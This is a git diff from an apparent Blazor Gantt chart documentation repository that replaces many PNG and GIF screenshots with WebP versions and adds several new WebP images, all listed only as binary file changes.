diff --git a/blazor/gantt-chart/images/blazor-gantt-event-markers.webp b/blazor/gantt-chart/images/blazor-gantt-event-markers.webp
new file mode 100644
index 0000000000..3a2b9ce11e
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-event-markers.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-grid-content.webp b/blazor/gantt-chart/images/blazor-gantt-grid-content.webp
new file mode 100644
index 0000000000..10d5278267
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-grid-content.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-header.webp b/blazor/gantt-chart/images/blazor-gantt-header.webp
new file mode 100644
index 0000000000..bb063a325a
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-header.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-labels.webp b/blazor/gantt-chart/images/blazor-gantt-labels.webp
new file mode 100644
index 0000000000..134adac4ed
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-labels.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-maui-android.webp b/blazor/gantt-chart/images/blazor-gantt-maui-android.webp
new file mode 100644
index 0000000000..24d62f993e
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-maui-android.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-maui-app.png b/blazor/gantt-chart/images/blazor-gantt-maui-app.png
deleted file mode 100644
index 618e14c2d2..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-maui-app.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-maui-app.webp b/blazor/gantt-chart/images/blazor-gantt-maui-app.webp
new file mode 100644
index 0000000000..0263ad741d
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-maui-app.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-root-element.webp b/blazor/gantt-chart/images/blazor-gantt-root-element.webp
new file mode 100644
index 0000000000..c173c4fc68
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-root-element.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-splitter.webp b/blazor/gantt-chart/images/blazor-gantt-splitter.webp
new file mode 100644
index 0000000000..e4d42770ca
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-splitter.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-taskbar.webp b/blazor/gantt-chart/images/blazor-gantt-taskbar.webp
new file mode 100644
index 0000000000..329adde09a
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-taskbar.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-timeline.webp b/blazor/gantt-chart/images/blazor-gantt-timeline.webp
new file mode 100644
index 0000000000..314c549712
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-timeline.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-tooltip.webp b/blazor/gantt-chart/images/blazor-gantt-tooltip.webp
new file mode 100644
index 0000000000..2e96011130
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-tooltip.webp differ
diff --git a/blazor/gantt-chart/images/blazor-nuget-package-manager.png b/blazor/gantt-chart/images/blazor-nuget-package-manager.png
deleted file mode 100644
index f9306f219e..0000000000
Binary files a/blazor/gantt-chart/images/blazor-nuget-package-manager.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-nuget-package-manager.webp b/blazor/gantt-chart/images/blazor-nuget-package-manager.webp
new file mode 100644
index 0000000000..b5d7fe4df4
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-nuget-package-manager.webp differ
diff --git a/blazor/gantt-chart/images/blazor-nuget-selection.png b/blazor/gantt-chart/images/blazor-nuget-selection.png
deleted file mode 100644
index 36142ec9c1..0000000000
Binary files a/blazor/gantt-chart/images/blazor-nuget-selection.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-nuget-selection.webp b/blazor/gantt-chart/images/blazor-nuget-selection.webp
new file mode 100644
index 0000000000..4dc1460a8e
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-nuget-selection.webp differ
diff --git a/blazor/gantt-chart/images/blazor-template.png b/blazor/gantt-chart/images/blazor-template.png
deleted file mode 100644
index d94910dc70..0000000000
Binary files a/blazor/gantt-chart/images/blazor-template.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-template.webp b/blazor/gantt-chart/images/blazor-template.webp
new file mode 100644
index 0000000000..e54e791804
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-template.webp differ
diff --git a/blazor/gantt-chart/images/blazor-wasm-app-template.png b/blazor/gantt-chart/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/gantt-chart/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-wasm-app-template.webp b/blazor/gantt-chart/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..96f02df178
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/gantt-chart/images/browser-output.png b/blazor/gantt-chart/images/browser-output.png
deleted file mode 100644
index 7180b1e150..0000000000
Binary files a/blazor/gantt-chart/images/browser-output.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/browser-output.webp b/blazor/gantt-chart/images/browser-output.webp
new file mode 100644
index 0000000000..017262cfa6
Binary files /dev/null and b/blazor/gantt-chart/images/browser-output.webp differ
diff --git a/blazor/gantt-chart/images/cell-edit.png b/blazor/gantt-chart/images/cell-edit.png
deleted file mode 100644
index af1496d81a..0000000000
Binary files a/blazor/gantt-chart/images/cell-edit.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/cell-edit.webp b/blazor/gantt-chart/images/cell-edit.webp
new file mode 100644
index 0000000000..d98f62dbf2
Binary files /dev/null and b/blazor/gantt-chart/images/cell-edit.webp differ
diff --git a/blazor/gantt-chart/images/clearSort.gif b/blazor/gantt-chart/images/clearSort.gif
deleted file mode 100644
index 959b24b04b..0000000000
Binary files a/blazor/gantt-chart/images/clearSort.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/clearSort.webp b/blazor/gantt-chart/images/clearSort.webp
new file mode 100644
index 0000000000..89f2a9fada
Binary files /dev/null and b/blazor/gantt-chart/images/clearSort.webp differ
diff --git a/blazor/gantt-chart/images/column-virtual-scroll.gif b/blazor/gantt-chart/images/column-virtual-scroll.gif
deleted file mode 100644
index 8b394c2454..0000000000
Binary files a/blazor/gantt-chart/images/column-virtual-scroll.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/column-virtual-scroll.webp b/blazor/gantt-chart/images/column-virtual-scroll.webp
new file mode 100644
index 0000000000..15f3fb20fa
Binary files /dev/null and b/blazor/gantt-chart/images/column-virtual-scroll.webp differ
diff --git a/blazor/gantt-chart/images/confirm-dialog.PNG b/blazor/gantt-chart/images/confirm-dialog.PNG
deleted file mode 100644
index b4ed585dc4..0000000000
Binary files a/blazor/gantt-chart/images/confirm-dialog.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/confirm-dialog.webp b/blazor/gantt-chart/images/confirm-dialog.webp
new file mode 100644
index 0000000000..bbc322daba
Binary files /dev/null and b/blazor/gantt-chart/images/confirm-dialog.webp differ
diff --git a/blazor/gantt-chart/images/copypaste_cell.gif b/blazor/gantt-chart/images/copypaste_cell.gif
deleted file mode 100644
index 687a939b78..0000000000
Binary files a/blazor/gantt-chart/images/copypaste_cell.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/copypaste_cell.webp b/blazor/gantt-chart/images/copypaste_cell.webp
new file mode 100644
index 0000000000..e4ab2ce041
Binary files /dev/null and b/blazor/gantt-chart/images/copypaste_cell.webp differ
diff --git a/blazor/gantt-chart/images/copypaste_row.gif b/blazor/gantt-chart/images/copypaste_row.gif
deleted file mode 100644
index cb0d6e4971..0000000000
Binary files a/blazor/gantt-chart/images/copypaste_row.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/copypaste_row.webp b/blazor/gantt-chart/images/copypaste_row.webp
new file mode 100644
index 0000000000..b720488785
Binary files /dev/null and b/blazor/gantt-chart/images/copypaste_row.webp differ
diff --git a/blazor/gantt-chart/images/crud-delete-urladaptor.png b/blazor/gantt-chart/images/crud-delete-urladaptor.png
deleted file mode 100644
index 981aaa6e56..0000000000
Binary files a/blazor/gantt-chart/images/crud-delete-urladaptor.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/crud-delete-urladaptor.webp b/blazor/gantt-chart/images/crud-delete-urladaptor.webp
new file mode 100644
index 0000000000..b9b86a0129
Binary files /dev/null and b/blazor/gantt-chart/images/crud-delete-urladaptor.webp differ
diff --git a/blazor/gantt-chart/images/crud-insert-urladaptor.png b/blazor/gantt-chart/images/crud-insert-urladaptor.png
deleted file mode 100644
index 87df243951..0000000000
Binary files a/blazor/gantt-chart/images/crud-insert-urladaptor.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/crud-insert-urladaptor.webp b/blazor/gantt-chart/images/crud-insert-urladaptor.webp
new file mode 100644
index 0000000000..0244741c17
Binary files /dev/null and b/blazor/gantt-chart/images/crud-insert-urladaptor.webp differ
diff --git a/blazor/gantt-chart/images/crud-update-urladaptor.png b/blazor/gantt-chart/images/crud-update-urladaptor.png
deleted file mode 100644
index e692f35a04..0000000000
Binary files a/blazor/gantt-chart/images/crud-update-urladaptor.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/crud-update-urladaptor.webp b/blazor/gantt-chart/images/crud-update-urladaptor.webp
new file mode 100644
index 0000000000..3dcd5687b8
Binary files /dev/null and b/blazor/gantt-chart/images/crud-update-urladaptor.webp differ
diff --git a/blazor/gantt-chart/images/deleteRecord.gif b/blazor/gantt-chart/images/deleteRecord.gif
deleted file mode 100644
index 97bed28df8..0000000000
Binary files a/blazor/gantt-chart/images/deleteRecord.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/deleteRecord.webp b/blazor/gantt-chart/images/deleteRecord.webp
new file mode 100644
index 0000000000..05881d6216
Binary files /dev/null and b/blazor/gantt-chart/images/deleteRecord.webp differ
diff --git a/blazor/gantt-chart/images/dependency-editing-touch.png b/blazor/gantt-chart/images/dependency-editing-touch.png
deleted file mode 100644
index f2e4643f22..0000000000
Binary files a/blazor/gantt-chart/images/dependency-editing-touch.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/dependency-editing-touch.webp b/blazor/gantt-chart/images/dependency-editing-touch.webp
new file mode 100644
index 0000000000..f6c3edf9db
Binary files /dev/null and b/blazor/gantt-chart/images/dependency-editing-touch.webp differ
diff --git a/blazor/gantt-chart/images/dependency-editing.png b/blazor/gantt-chart/images/dependency-editing.png
deleted file mode 100644
index ff60a4ef82..0000000000
Binary files a/blazor/gantt-chart/images/dependency-editing.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/dependency-editing.webp b/blazor/gantt-chart/images/dependency-editing.webp
new file mode 100644
index 0000000000..c6485428b3
Binary files /dev/null and b/blazor/gantt-chart/images/dependency-editing.webp differ
diff --git a/blazor/gantt-chart/images/dependencyLineTemplate.png b/blazor/gantt-chart/images/dependencyLineTemplate.png
deleted file mode 100644
index 56ccb3a68c..0000000000
Binary files a/blazor/gantt-chart/images/dependencyLineTemplate.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/dependencyLineTemplate.webp b/blazor/gantt-chart/images/dependencyLineTemplate.webp
new file mode 100644
index 0000000000..662f059474
Binary files /dev/null and b/blazor/gantt-chart/images/dependencyLineTemplate.webp differ
diff --git a/blazor/gantt-chart/images/duration-manual.PNG b/blazor/gantt-chart/images/duration-manual.PNG
deleted file mode 100644
index 9a59cf7581..0000000000
Binary files a/blazor/gantt-chart/images/duration-manual.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/duration-manual.webp b/blazor/gantt-chart/images/duration-manual.webp
new file mode 100644
index 0000000000..d4e039e107
Binary files /dev/null and b/blazor/gantt-chart/images/duration-manual.webp differ
diff --git a/blazor/gantt-chart/images/editing-dialog.png b/blazor/gantt-chart/images/editing-dialog.png
deleted file mode 100644
index e20b75ce58..0000000000
Binary files a/blazor/gantt-chart/images/editing-dialog.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/editing-dialog.webp b/blazor/gantt-chart/images/editing-dialog.webp
new file mode 100644
index 0000000000..fd0bc6eb76
Binary files /dev/null and b/blazor/gantt-chart/images/editing-dialog.webp differ
diff --git a/blazor/gantt-chart/images/editingResources.png b/blazor/gantt-chart/images/editingResources.png
deleted file mode 100644
index 6d78a32a35..0000000000
Binary files a/blazor/gantt-chart/images/editingResources.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/editingResources.webp b/blazor/gantt-chart/images/editingResources.webp
new file mode 100644
index 0000000000..5d548121bb
Binary files /dev/null and b/blazor/gantt-chart/images/editingResources.webp differ
diff --git a/blazor/gantt-chart/images/editingTemplate.png b/blazor/gantt-chart/images/editingTemplate.png
deleted file mode 100644
index 65621d9d6b..0000000000
Binary files a/blazor/gantt-chart/images/editingTemplate.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/editingTemplate.webp b/blazor/gantt-chart/images/editingTemplate.webp
new file mode 100644
index 0000000000..d8d29d9b1b
Binary files /dev/null and b/blazor/gantt-chart/images/editingTemplate.webp differ
diff --git a/blazor/gantt-chart/images/editingparent.png b/blazor/gantt-chart/images/editingparent.png
deleted file mode 100644
index 7f0c9d876c..0000000000
Binary files a/blazor/gantt-chart/images/editingparent.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/editingparent.webp b/blazor/gantt-chart/images/editingparent.webp
new file mode 100644
index 0000000000..0a84d500f9
Binary files /dev/null and b/blazor/gantt-chart/images/editingparent.webp differ
diff --git a/blazor/gantt-chart/images/editingstate.png b/blazor/gantt-chart/images/editingstate.png
deleted file mode 100644
index 10a3e0fc42..0000000000
Binary files a/blazor/gantt-chart/images/editingstate.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/editingstate.webp b/blazor/gantt-chart/images/editingstate.webp
new file mode 100644
index 0000000000..326098c145
Binary files /dev/null and b/blazor/gantt-chart/images/editingstate.webp differ
diff --git a/blazor/gantt-chart/images/enableToolbar.gif b/blazor/gantt-chart/images/enableToolbar.gif
deleted file mode 100644
index 5b926b4d26..0000000000
Binary files a/blazor/gantt-chart/images/enableToolbar.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/enableToolbar.webp b/blazor/gantt-chart/images/enableToolbar.webp
new file mode 100644
index 0000000000..c227a1650e
Binary files /dev/null and b/blazor/gantt-chart/images/enableToolbar.webp differ
diff --git a/blazor/gantt-chart/images/endDate-manual.PNG b/blazor/gantt-chart/images/endDate-manual.PNG
deleted file mode 100644
index 07442b4b0a..0000000000
Binary files a/blazor/gantt-chart/images/endDate-manual.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/endDate-manual.webp b/blazor/gantt-chart/images/endDate-manual.webp
new file mode 100644
index 0000000000..6569aaaa1d
Binary files /dev/null and b/blazor/gantt-chart/images/endDate-manual.webp differ
diff --git a/blazor/gantt-chart/images/filtering-in-custom-binding.png b/blazor/gantt-chart/images/filtering-in-custom-binding.png
deleted file mode 100644
index 6b8c3e3c71..0000000000
Binary files a/blazor/gantt-chart/images/filtering-in-custom-binding.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/filtering-in-custom-binding.webp b/blazor/gantt-chart/images/filtering-in-custom-binding.webp
new file mode 100644
index 0000000000..a95aef9150
Binary files /dev/null and b/blazor/gantt-chart/images/filtering-in-custom-binding.webp differ
diff --git a/blazor/gantt-chart/images/frame-work.png b/blazor/gantt-chart/images/frame-work.png
deleted file mode 100644
index 50082a3d37..0000000000
Binary files a/blazor/gantt-chart/images/frame-work.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/frame-work.webp b/blazor/gantt-chart/images/frame-work.webp
new file mode 100644
index 0000000000..72ebedcf90
Binary files /dev/null and b/blazor/gantt-chart/images/frame-work.webp differ
diff --git a/blazor/gantt-chart/images/gantt-crud-operations-timezone.gif b/blazor/gantt-chart/images/gantt-crud-operations-timezone.gif
deleted file mode 100644
index f3c664f063..0000000000
Binary files a/blazor/gantt-chart/images/gantt-crud-operations-timezone.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/gantt-crud-operations-timezone.webp b/blazor/gantt-chart/images/gantt-crud-operations-timezone.webp
new file mode 100644
index 0000000000..806ee1082d
Binary files /dev/null and b/blazor/gantt-chart/images/gantt-crud-operations-timezone.webp differ
diff --git a/blazor/gantt-chart/images/gantt-output.png b/blazor/gantt-chart/images/gantt-output.png
deleted file mode 100644
index 9e7dee9eb8..0000000000
Binary files a/blazor/gantt-chart/images/gantt-output.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/gantt-output.webp b/blazor/gantt-chart/images/gantt-output.webp
new file mode 100644
index 0000000000..2c3fa2b3f0
Binary files /dev/null and b/blazor/gantt-chart/images/gantt-output.webp differ
diff --git a/blazor/gantt-chart/images/gantt-timezone.gif b/blazor/gantt-chart/images/gantt-timezone.gif
deleted file mode 100644
index 004d0bb8cc..0000000000
Binary files a/blazor/gantt-chart/images/gantt-timezone.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/gantt-timezone.webp b/blazor/gantt-chart/images/gantt-timezone.webp
new file mode 100644
index 0000000000..eec5c02e5c
Binary files /dev/null and b/blazor/gantt-chart/images/gantt-timezone.webp differ
diff --git a/blazor/gantt-chart/images/getting-started1.gif b/blazor/gantt-chart/images/getting-started1.gif
deleted file mode 100644
index 5338c822cc..0000000000
Binary files a/blazor/gantt-chart/images/getting-started1.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/getting-started1.webp b/blazor/gantt-chart/images/getting-started1.webp
new file mode 100644
index 0000000000..79bf5cc32e
Binary files /dev/null and b/blazor/gantt-chart/images/getting-started1.webp differ
diff --git a/blazor/gantt-chart/images/import-cdn.png b/blazor/gantt-chart/images/import-cdn.png
deleted file mode 100644
index 075d96aab3..0000000000
Binary files a/blazor/gantt-chart/images/import-cdn.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/import-cdn.webp b/blazor/gantt-chart/images/import-cdn.webp
new file mode 100644
index 0000000000..bed5aebe82
Binary files /dev/null and b/blazor/gantt-chart/images/import-cdn.webp differ
diff --git a/blazor/gantt-chart/images/invalid-taskbar.PNG b/blazor/gantt-chart/images/invalid-taskbar.PNG
deleted file mode 100644
index ffabbe7fce..0000000000
Binary files a/blazor/gantt-chart/images/invalid-taskbar.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/invalid-taskbar.webp b/blazor/gantt-chart/images/invalid-taskbar.webp
new file mode 100644
index 0000000000..18ce8cf844
Binary files /dev/null and b/blazor/gantt-chart/images/invalid-taskbar.webp differ
diff --git a/blazor/gantt-chart/images/mouse-interactions.png b/blazor/gantt-chart/images/mouse-interactions.png
deleted file mode 100644
index 9a55e60a83..0000000000
Binary files a/blazor/gantt-chart/images/mouse-interactions.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/mouse-interactions.webp b/blazor/gantt-chart/images/mouse-interactions.webp
new file mode 100644
index 0000000000..3747f0e943
Binary files /dev/null and b/blazor/gantt-chart/images/mouse-interactions.webp differ
diff --git a/blazor/gantt-chart/images/multisorting-url-adaptor.png b/blazor/gantt-chart/images/multisorting-url-adaptor.png
deleted file mode 100644
index 244f96875c..0000000000
Binary files a/blazor/gantt-chart/images/multisorting-url-adaptor.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/multisorting-url-adaptor.webp b/blazor/gantt-chart/images/multisorting-url-adaptor.webp
new file mode 100644
index 0000000000..61cda6e681
Binary files /dev/null and b/blazor/gantt-chart/images/multisorting-url-adaptor.webp differ
diff --git a/blazor/gantt-chart/images/multisorting-urladaptor.png b/blazor/gantt-chart/images/multisorting-urladaptor.png
deleted file mode 100644
index 0a0054cf2f..0000000000
Binary files a/blazor/gantt-chart/images/multisorting-urladaptor.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/multisorting-urladaptor.webp b/blazor/gantt-chart/images/multisorting-urladaptor.webp
new file mode 100644
index 0000000000..b260323643
Binary files /dev/null and b/blazor/gantt-chart/images/multisorting-urladaptor.webp differ
diff --git a/blazor/gantt-chart/images/new-project.png b/blazor/gantt-chart/images/new-project.png
deleted file mode 100644
index 057f6b0f7c..0000000000
Binary files a/blazor/gantt-chart/images/new-project.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/new-project.webp b/blazor/gantt-chart/images/new-project.webp
new file mode 100644
index 0000000000..fa6121cb69
Binary files /dev/null and b/blazor/gantt-chart/images/new-project.webp differ
diff --git a/blazor/gantt-chart/images/nuget-explorer.png b/blazor/gantt-chart/images/nuget-explorer.png
deleted file mode 100644
index f9306f219e..0000000000
Binary files a/blazor/gantt-chart/images/nuget-explorer.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/nuget-explorer.webp b/blazor/gantt-chart/images/nuget-explorer.webp
new file mode 100644
index 0000000000..b5d7fe4df4
Binary files /dev/null and b/blazor/gantt-chart/images/nuget-explorer.webp differ
diff --git a/blazor/gantt-chart/images/parent-taskbar.PNG b/blazor/gantt-chart/images/parent-taskbar.PNG
deleted file mode 100644
index 8f170f26ec..0000000000
Binary files a/blazor/gantt-chart/images/parent-taskbar.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/parent-taskbar.webp b/blazor/gantt-chart/images/parent-taskbar.webp
new file mode 100644
index 0000000000..ea1350cefd
Binary files /dev/null and b/blazor/gantt-chart/images/parent-taskbar.webp differ
diff --git a/blazor/gantt-chart/images/predecessor-configuration.gif b/blazor/gantt-chart/images/predecessor-configuration.gif
deleted file mode 100644
index ffb0cec92c..0000000000
Binary files a/blazor/gantt-chart/images/predecessor-configuration.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/predecessor-configuration.webp b/blazor/gantt-chart/images/predecessor-configuration.webp
new file mode 100644
index 0000000000..391bda2bfc
Binary files /dev/null and b/blazor/gantt-chart/images/predecessor-configuration.webp differ
diff --git a/blazor/gantt-chart/images/predecessor-validation-enabled.PNG b/blazor/gantt-chart/images/predecessor-validation-enabled.PNG
deleted file mode 100644
index 63dd5ed379..0000000000
Binary files a/blazor/gantt-chart/images/predecessor-validation-enabled.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/predecessor-validation-enabled.webp b/blazor/gantt-chart/images/predecessor-validation-enabled.webp
new file mode 100644
index 0000000000..da4c9e9e8f
Binary files /dev/null and b/blazor/gantt-chart/images/predecessor-validation-enabled.webp differ
diff --git a/blazor/gantt-chart/images/predecessorWithOffset.png b/blazor/gantt-chart/images/predecessorWithOffset.png
deleted file mode 100644
index ca149223f6..0000000000
Binary files a/blazor/gantt-chart/images/predecessorWithOffset.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/predecessorWithOffset.webp b/blazor/gantt-chart/images/predecessorWithOffset.webp
new file mode 100644
index 0000000000..12306d9718
Binary files /dev/null and b/blazor/gantt-chart/images/predecessorWithOffset.webp differ
diff --git a/blazor/gantt-chart/images/resource-allocation.gif b/blazor/gantt-chart/images/resource-allocation.gif
deleted file mode 100644
index 7c414da097..0000000000
Binary files a/blazor/gantt-chart/images/resource-allocation.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/resource-allocation.webp b/blazor/gantt-chart/images/resource-allocation.webp
new file mode 100644
index 0000000000..a0ceb73dde
Binary files /dev/null and b/blazor/gantt-chart/images/resource-allocation.webp differ
diff --git a/blazor/gantt-chart/images/scroll-to-taskbar-on-click.gif b/blazor/gantt-chart/images/scroll-to-taskbar-on-click.gif
deleted file mode 100644
index efbb3c637c..0000000000
Binary files a/blazor/gantt-chart/images/scroll-to-taskbar-on-click.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/scroll-to-taskbar-on-click.webp b/blazor/gantt-chart/images/scroll-to-taskbar-on-click.webp
new file mode 100644
index 0000000000..fa303166d9
Binary files /dev/null and b/blazor/gantt-chart/images/scroll-to-taskbar-on-click.webp differ
diff --git a/blazor/gantt-chart/images/searching-custom-adaptor.png b/blazor/gantt-chart/images/searching-custom-adaptor.png
deleted file mode 100644
index 4cfe41ace0..0000000000
Binary files a/blazor/gantt-chart/images/searching-custom-adaptor.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/searching-custom-adaptor.webp b/blazor/gantt-chart/images/searching-custom-adaptor.webp
new file mode 100644
index 0000000000..aaf948d836
Binary files /dev/null and b/blazor/gantt-chart/images/searching-custom-adaptor.webp differ
diff --git a/blazor/gantt-chart/images/searching-in-urladaptor.png b/blazor/gantt-chart/images/searching-in-urladaptor.png
deleted file mode 100644
index 87fee3b948..0000000000
Binary files a/blazor/gantt-chart/images/searching-in-urladaptor.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/searching-in-urladaptor.webp b/blazor/gantt-chart/images/searching-in-urladaptor.webp
new file mode 100644
index 0000000000..1afe5dd910
Binary files /dev/null and b/blazor/gantt-chart/images/searching-in-urladaptor.webp differ
diff --git a/blazor/gantt-chart/images/select-nuget.png b/blazor/gantt-chart/images/select-nuget.png
deleted file mode 100644
index 4b67d0ce11..0000000000
Binary files a/blazor/gantt-chart/images/select-nuget.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/select-nuget.webp b/blazor/gantt-chart/images/select-nuget.webp
new file mode 100644
index 0000000000..eae1ed1674
Binary files /dev/null and b/blazor/gantt-chart/images/select-nuget.webp differ
diff --git a/blazor/gantt-chart/images/sending-additional-param-custom-binding.png b/blazor/gantt-chart/images/sending-additional-param-custom-binding.png
deleted file mode 100644
index cb9e3d262a..0000000000
Binary files a/blazor/gantt-chart/images/sending-additional-param-custom-binding.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/sending-additional-param-custom-binding.webp b/blazor/gantt-chart/images/sending-additional-param-custom-binding.webp
new file mode 100644
index 0000000000..e80dfa8510
Binary files /dev/null and b/blazor/gantt-chart/images/sending-additional-param-custom-binding.webp differ
diff --git a/blazor/gantt-chart/images/sending-additional-param.png b/blazor/gantt-chart/images/sending-additional-param.png
deleted file mode 100644
index 8acf996dc8..0000000000
Binary files a/blazor/gantt-chart/images/sending-additional-param.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/sending-additional-param.webp b/blazor/gantt-chart/images/sending-additional-param.webp
new file mode 100644
index 0000000000..609456e05b
Binary files /dev/null and b/blazor/gantt-chart/images/sending-additional-param.webp differ
diff --git a/blazor/gantt-chart/images/single-filtering-urladaptor.png b/blazor/gantt-chart/images/single-filtering-urladaptor.png
deleted file mode 100644
index da092d723e..0000000000
Binary files a/blazor/gantt-chart/images/single-filtering-urladaptor.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/single-filtering-urladaptor.webp b/blazor/gantt-chart/images/single-filtering-urladaptor.webp
new file mode 100644
index 0000000000..48102b8911
Binary files /dev/null and b/blazor/gantt-chart/images/single-filtering-urladaptor.webp differ
diff --git a/blazor/gantt-chart/images/sortColumn.gif b/blazor/gantt-chart/images/sortColumn.gif
deleted file mode 100644
index ff6d47cf4b..0000000000
Binary files a/blazor/gantt-chart/images/sortColumn.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/sortColumn.webp b/blazor/gantt-chart/images/sortColumn.webp
new file mode 100644
index 0000000000..6d8ed31862
Binary files /dev/null and b/blazor/gantt-chart/images/sortColumn.webp differ
diff --git a/blazor/gantt-chart/images/sorting-in-custom-binding.png b/blazor/gantt-chart/images/sorting-in-custom-binding.png
deleted file mode 100644
index e9277073de..0000000000
Binary files a/blazor/gantt-chart/images/sorting-in-custom-binding.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/sorting-in-custom-binding.webp b/blazor/gantt-chart/images/sorting-in-custom-binding.webp
new file mode 100644
index 0000000000..3122224bef
Binary files /dev/null and b/blazor/gantt-chart/images/sorting-in-custom-binding.webp differ
diff --git a/blazor/gantt-chart/images/sorting-urladaptor.png b/blazor/gantt-chart/images/sorting-urladaptor.png
deleted file mode 100644
index 2ee2ccf955..0000000000
Binary files a/blazor/gantt-chart/images/sorting-urladaptor.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/sorting-urladaptor.webp b/blazor/gantt-chart/images/sorting-urladaptor.webp
new file mode 100644
index 0000000000..35b2126315
Binary files /dev/null and b/blazor/gantt-chart/images/sorting-urladaptor.webp differ
diff --git a/blazor/gantt-chart/images/splitterMethods.gif b/blazor/gantt-chart/images/splitterMethods.gif
deleted file mode 100644
index a52dd7369b..0000000000
Binary files a/blazor/gantt-chart/images/splitterMethods.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/splitterMethods.webp b/blazor/gantt-chart/images/splitterMethods.webp
new file mode 100644
index 0000000000..26e00d1b39
Binary files /dev/null and b/blazor/gantt-chart/images/splitterMethods.webp differ
diff --git a/blazor/gantt-chart/images/startDate-manual.PNG b/blazor/gantt-chart/images/startDate-manual.PNG
deleted file mode 100644
index 417cb5fcbc..0000000000
Binary files a/blazor/gantt-chart/images/startDate-manual.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/startDate-manual.webp b/blazor/gantt-chart/images/startDate-manual.webp
new file mode 100644
index 0000000000..06986cade8
Binary files /dev/null and b/blazor/gantt-chart/images/startDate-manual.webp differ
diff --git a/blazor/gantt-chart/images/style-and-appearance.webp b/blazor/gantt-chart/images/style-and-appearance.webp
new file mode 100644
index 0000000000..27fb0c9dba
Binary files /dev/null and b/blazor/gantt-chart/images/style-and-appearance.webp differ
diff --git a/blazor/gantt-chart/images/stylesAndAppearance.PNG b/blazor/gantt-chart/images/stylesAndAppearance.PNG
deleted file mode 100644
index b5421f476b..0000000000
Binary files a/blazor/gantt-chart/images/stylesAndAppearance.PNG and /dev/null differ
